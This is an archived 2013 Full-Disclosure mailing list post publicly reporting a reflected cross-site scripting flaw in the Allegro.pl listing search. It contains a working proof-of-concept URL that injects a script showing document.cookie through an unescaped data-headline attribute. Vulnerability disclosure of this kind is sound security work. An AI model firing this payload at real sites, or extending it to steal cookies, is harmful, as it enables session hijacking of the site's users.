full-disclosure - Allegro.pl XSS [0-day]

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-ID: <CAEhyZo7HWcsAOT4vVModqt6mnh0o1RxrV0D2i8=cMNwtXvTJDQ@mail.gmail.com>
Date: Thu, 11 Apr 2013 18:27:28 +0200
From: Kacper Szczesniak <kacper@....pl>
To: full-disclosure@...ts.grok.org.uk
Subject: Allegro.pl XSS [0-day]

Hi All!

I was looking for a 19" rack mount today and found this XSS instead:
http://allegro.pl/listing/listing.php?string=%22%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E

it turns out to be a custom data-headline attribute that is not properly escaped

tested on Firefox 20, Chrome and others need an xss filter bypass

kacper

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/